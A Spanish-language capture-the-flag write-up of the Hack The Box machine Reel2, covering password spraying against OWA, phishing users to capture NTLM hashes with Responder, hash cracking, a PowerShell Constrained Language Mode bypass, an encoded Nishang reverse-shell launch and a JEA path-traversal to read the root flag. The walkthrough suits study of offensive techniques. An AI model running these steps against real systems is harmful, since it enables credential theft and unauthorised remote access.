HTB-Reel2

IP -> 10.10.10.210

Reconocimiento

Nmap

Utilizamos nmap y obtenemos los siguientes resultados.

Reel2 Nmap Result

No vemos el servicio SMB aunque si encontramos el servicio winrm disponible.

http:80

403 Forbidden

https:443

wappalizer

Microsoft IIS 8.5

Fuzz

Utilizamos herramientas como gobuster o wfuzz para numerar directorios.

/owa -> Servicio de correo.

Pero necesitamos credenciales válidas, probamos con algunas de las comunes pero no conseguimos nada.

http:8080

Tenemos otro panel de login, aunque esta vez podemos registrarnos, nos registramos e iniciamos en nuestra cuenta, el panel que se nos muestra es un panel similar a un facebook.

En el panel de búsqueda, buscamos algo y vemos que los que buscamos se tramita por la url, lo cambiamos a “” (nada) para ver que pasa, tratando de que nos muestre todos los usuarios. Lo conseguimos y nos montamos un diccionario de nombres y apellidos.

users

Explotación

https:443

Para realizar fuerza bruta al panel de inicio de sesión de correo electrónico utilizamos la herramienta SprayingToolkit, herramienta diseñada por el mismo creador que Crackmapexec. Utilizaremos el atomizer.py para realizar la fuerza bruta. Aunque el mismo kit no incluye otra herramineta para jugar con los nombres y apellidos y hacer posibles nombres de usuario, esta otra herramienta es spindrift.py.

python3 spindrift.py users --format {first}{last} # Nombre + apellido
python3 spindrift.py users --format {f}{last} # Nombre[0] + apellido
python3 spindrift.py users --format {f}.{last} # Nombre[0] + "." + apellido

python3 atomizer.py owa 10.10.10.210 'Summer2020' users # Por lo que encontramos en la descripción de un usuario probamos esta contraseña
python3 atomizer.py owa 10.10.10.210 /usr/share/wordlists/rockyou.txt users

USER: s.svensson PASS: Summer2020

Evil-winrm

Nos conectamos con la herramienta [evil-winrm]((/winrm/)

http:443

Utilizamos las credenciales para iniciar sesión en el owa. Como el texto está en Suizo, vamos a utilizar chromium para que nos traduzca el contenido. Buscamos mensjaes enviado, en borradores, papelera, bandeja de entrada. Pero no encontramos nada. Enviamos un correo a todos los usuarios con una url, para ver si alguno de los usuarios abre el link. Nos llega una petición POST. Nos ponemos en escucha no netcat para ver las cabeceras que nos envían. Pero no vemos ninguna cookie de sessión. Vamos a tratar de envenenar el tráfico con responder.py.

responder.py -I tun0

Vamos a volver a enviar un mensaje a todos los usuarios, para que accedan de nuevo a un recurso http. Pero esta vez al estar con el responder.py, conseguimos un hash netNTLMv2.

john + rockyou.txt

Utilizamos john junto con el rockyou.txt. Y obtenemos una contraseña.

USER: k.svensson PASS: kittycat1

Evil-winrm

Nos conectamos con la herramienta [evil-winrm]((/winrm/)

powershell

Para solucionar esto vamos a conectarnos con la powershell de linux.

pwsh
$pass = ConvertTo-SecureString 'kittycat1' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('htb.local\k.svensson', $pass)

Enter-PSSession -ComputerName 10.10.10.210 -Credential $cred -Authentication Negotiate

Nos conecta, pero nos muestra errores, aunque son errores de que no encuentra el comando, Get-Command nos muestra qué comandos podemos usar. Esta limitación puede ser porque nos encontramos en un Constrained Language Mode. Buscamos como comprobar si estamos limitado en google, ejecutamos el comando para comprobarlo y vemos que estamos limitados. Toca bypassearlo.

Para bypassear el CLM, creamos una función y la ejecutamos.

function location{ Get-Location }; location

Y bypasseado. Aunque para escapar del contexto y operar cómodamente, nos ponemos en escucha con nc y rlwrap. Para este caso, utilizamos el repositorio de nishang. Y utilizamos el Invoke-PowerShellTcpOnelLine.ps1, nos copiamos la 3ª linea comentada, cambiamos la ip y jugamos con base64 para enviarlo. Pero al ser windows tenemos que aplicar un tratamiento no visible a simple vista.

cat data | iconv -t utf-16le | base64 -w 0;echo

Bajo un script block en la consola powershell con CLM:

&{ powershell -enc <data>}

user.txt

User Pivoting

OS

dir
cd ..\Documents
dir
type jea_test_account.psrc | select-string -NotMatch "^#"
net user jea_test_account
cd ..
dir -Force
cd AppData\Roaming
cd stickynotes
dir -recurse | select-string "jea_test_account"
cd Local\ Storage\leveldb
type 000003.log | Format-Hex

Desktop\Sticky Notes.lnk -> Notas Documents\jea_test_account.psrc -> Configuration file USER: jea_test_account PASS: Ab!Q@vcg^%@#1

Evil-winrm

Nos conectamos con la herramienta [evil-winrm]((/winrm/)

Powershell

Nos volvemos a autenticar con [winrm. Pero nos dice access denied. Como hemos encontrado un archivo de configuración y el Enter-PSSession tiene un parámetro para proporcionar ese arhcivo, vamos a ponerlo.

Enter-PSSession -ComputerName 10.10.10.210 -Credential $cred -Authentication Negotiate -ConfigurationName jea_test_account

Conectado.

PrivEsc

OS

Get-Command

Podemos ejecutar el Check-File

Con esta función podemos listar archivos, aunque no sabemos qué privilegios tenemos a la hora de listar, como utiliza una wild-card, podemos abusar de esto haciendo path traversal

Check-File C:\ProgramData\..\Users\Administrator\Desktop\root.txt

root.txt


Escrito el 15-12-2021 a las 05:31 pm por creep33.

Tags:

Categories:

Updated: